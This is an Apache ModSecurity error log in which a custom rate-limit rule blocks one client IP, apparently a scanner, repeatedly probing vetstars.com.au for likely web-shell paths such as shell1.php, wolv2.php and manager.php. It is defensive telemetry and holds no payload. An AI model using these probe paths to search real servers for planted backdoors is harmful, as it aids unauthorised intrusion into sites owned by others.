[Sun Dec 21 20:01:01.179118 2025] [:error] [pid 59067:tid 59080] [client 20.2.26.82:1856] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aUfhfctpsOP1NfIK_qJBwwAAAAY"]
[Sun Dec 21 20:01:01.475909 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:2013] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aUfhfctpsOP1NfIK_qJBxQAAABY"]
[Sun Dec 21 20:01:01.777583 2025] [:error] [pid 59067:tid 59082] [client 20.2.26.82:1735] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aUfhfctpsOP1NfIK_qJBxwAAAAg"]
[Sun Dec 21 20:01:02.093820 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:1831] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aUfhfstpsOP1NfIK_qJByAAAABg"]
[Sun Dec 21 20:01:02.422176 2025] [:error] [pid 59067:tid 59085] [client 20.2.26.82:1840] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUfhfstpsOP1NfIK_qJByQAAAAs"]
[Sun Dec 21 20:01:02.743478 2025] [:error] [pid 59070:tid 59143] [client 20.2.26.82:1777] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUfhfn3dhXne9KX1kgIj5QAAAI8"]
[Sun Dec 21 20:01:03.098266 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:1736] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUfhf8tpsOP1NfIK_qJB0AAAAAM"]
[Sun Dec 21 20:01:03.457204 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1908] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUfhf33dhXne9KX1kgIj5wAAAJQ"]
[Sun Dec 21 20:01:04.715776 2025] [:error] [pid 59067:tid 59076] [client 20.2.26.82:1843] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUfhgMtpsOP1NfIK_qJB2QAAAAI"]
[Sun Dec 21 20:01:04.989867 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:1783] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUfhgMtpsOP1NfIK_qJB2gAAABI"]
[Sun Dec 21 20:01:05.323788 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:1607] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUfhgX3dhXne9KX1kgIj6QAAAJg"]
[Sun Dec 21 20:01:05.656671 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:1706] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUfhgRmLyLqWUlrjwyduLgAAAEc"]
[Sun Dec 21 20:01:05.944323 2025] [:error] [pid 59070:tid 59150] [client 20.2.26.82:1835] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aUfhgX3dhXne9KX1kgIj6wAAAJY"]
[Sun Dec 21 20:01:06.254118 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1782] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aUfhgn3dhXne9KX1kgIj7QAAAJQ"]
[Sun Dec 21 20:01:06.550489 2025] [:error] [pid 59068:tid 59107] [client 20.2.26.82:1771] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aUfhghmLyLqWUlrjwyduMQAAAEY"]
[Sun Dec 21 20:01:06.847176 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:1787] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "aUfhghmLyLqWUlrjwyduMgAAAEI"]
[Sun Dec 21 20:01:07.135497 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:1849] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUfhg8tpsOP1NfIK_qJB3gAAABA"]
[Sun Dec 21 20:01:07.460591 2025] [:error] [pid 59067:tid 59097] [client 20.2.26.82:1739] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUfhg8tpsOP1NfIK_qJB4QAAABc"]
[Sun Dec 21 20:01:07.786473 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:1851] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUfhg8tpsOP1NfIK_qJB4wAAABE"]
[Sun Dec 21 20:01:08.118043 2025] [:error] [pid 59067:tid 59074] [client 20.2.26.82:1808] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aUfhhMtpsOP1NfIK_qJB5wAAAAA"]
[Sun Dec 21 20:01:08.403618 2025] [:error] [pid 59067:tid 59083] [client 20.2.26.82:1886] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUfhhMtpsOP1NfIK_qJB6gAAAAk"]
[Sun Dec 21 20:01:08.688605 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:1941] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUfhhH3dhXne9KX1kgIj7wAAAJg"]
[Sun Dec 21 20:01:08.972784 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:1812] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUfhhMtpsOP1NfIK_qJB6wAAABg"]
[Sun Dec 21 20:01:09.255716 2025] [:error] [pid 59068:tid 59123] [client 20.2.26.82:1754] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUfhhRmLyLqWUlrjwyduOgAAAFY"]
[Sun Dec 21 20:01:09.541099 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:1705] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUfhhRmLyLqWUlrjwyduOwAAAFQ"]
[Sun Dec 21 20:01:09.831698 2025] [:error] [pid 59068:tid 59109] [client 20.2.26.82:1834] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUfhhRmLyLqWUlrjwyduQAAAAEg"]
[Sun Dec 21 20:01:10.120704 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:1680] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUfhho7NvyNF8ab5VgUdvAAAANc"]
[Sun Dec 21 20:01:10.407459 2025] [:error] [pid 59068:tid 59116] [client 20.2.26.82:1698] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUfhhhmLyLqWUlrjwyduQwAAAE8"]
[Sun Dec 21 20:01:10.752212 2025] [:error] [pid 59068:tid 59117] [client 20.2.26.82:1768] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUfhhhmLyLqWUlrjwyduRAAAAFA"]
[Sun Dec 21 20:01:11.046952 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1631] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUfhhxmLyLqWUlrjwyduRgAAAFM"]
[Sun Dec 21 20:01:11.355438 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:1880] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUfhhxmLyLqWUlrjwyduRwAAAFQ"]
[Sun Dec 21 20:01:11.663999 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:1668] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUfhhxmLyLqWUlrjwyduSQAAAEc"]
[Sun Dec 21 20:01:11.971713 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1728] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUfhh33dhXne9KX1kgIj8wAAAJU"]
[Sun Dec 21 20:01:12.286504 2025] [:error] [pid 59068:tid 59107] [client 20.2.26.82:1786] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUfhiBmLyLqWUlrjwyduTQAAAEY"]
[Sun Dec 21 20:01:12.612779 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1663] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUfhiI7NvyNF8ab5VgUdwwAAANg"]
[Sun Dec 21 20:01:12.905904 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:1789] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUfhiBmLyLqWUlrjwyduUAAAAEk"]
[Sun Dec 21 20:01:13.221145 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:1854] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUfhiX3dhXne9KX1kgIj9gAAAIk"]
[Sun Dec 21 20:01:13.540225 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1678] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUfhictpsOP1NfIK_qJB8AAAAAU"]
[Sun Dec 21 20:01:13.847849 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1749] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUfhiX3dhXne9KX1kgIj-gAAAJI"]
[Sun Dec 21 20:01:14.161277 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:1708] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUfhin3dhXne9KX1kgIj_gAAAIA"]
[Sun Dec 21 20:01:14.458793 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:1895] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUfhin3dhXne9KX1kgIkAAAAAIM"]
[Sun Dec 21 20:01:14.758296 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:1690] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUfhio7NvyNF8ab5VgUdyAAAAMg"]
[Sun Dec 21 20:01:15.066395 2025] [:error] [pid 59158:tid 59165] [client 20.2.26.82:1695] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUfhi47NvyNF8ab5VgUdygAAAMU"]
[Sun Dec 21 20:01:15.370161 2025] [:error] [pid 59158:tid 59160] [client 20.2.26.82:1677] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUfhi47NvyNF8ab5VgUdywAAAMA"]
[Sun Dec 21 20:01:15.692743 2025] [:error] [pid 59068:tid 59107] [client 20.2.26.82:1641] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aUfhixmLyLqWUlrjwyduWAAAAEY"]
[Sun Dec 21 20:01:15.996931 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:1828] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aUfhi33dhXne9KX1kgIkDQAAAIA"]
[Sun Dec 21 20:01:16.306262 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:1742] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aUfhjMtpsOP1NfIK_qJB9AAAABU"]
[Sun Dec 21 20:01:16.601660 2025] [:error] [pid 59068:tid 59117] [client 20.2.26.82:1790] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aUfhjBmLyLqWUlrjwyduYQAAAFA"]
[Sun Dec 21 20:01:16.919617 2025] [:error] [pid 59158:tid 59162] [client 20.2.26.82:1651] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUfhjI7NvyNF8ab5VgUdzwAAAMI"]
[Sun Dec 21 20:01:17.222920 2025] [:error] [pid 59070:tid 59147] [client 20.2.26.82:2011] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUfhjX3dhXne9KX1kgIkEgAAAJM"]
[Sun Dec 21 20:01:17.532457 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:1918] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUfhjY7NvyNF8ab5VgUd0gAAAMQ"]
[Sun Dec 21 20:01:17.830126 2025] [:error] [pid 59067:tid 59094] [client 20.2.26.82:1718] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUfhjctpsOP1NfIK_qJB_AAAABQ"]
[Sun Dec 21 20:01:18.138663 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:1846] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUfhjstpsOP1NfIK_qJB_QAAAAM"]
[Sun Dec 21 20:01:18.446608 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:1912] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUfhjn3dhXne9KX1kgIkFQAAAI4"]
[Sun Dec 21 20:01:18.793498 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1717] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUfhjstpsOP1NfIK_qJB_gAAAA4"]
[Sun Dec 21 20:01:19.140251 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1691] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUfhj8tpsOP1NfIK_qJB_wAAAAU"]
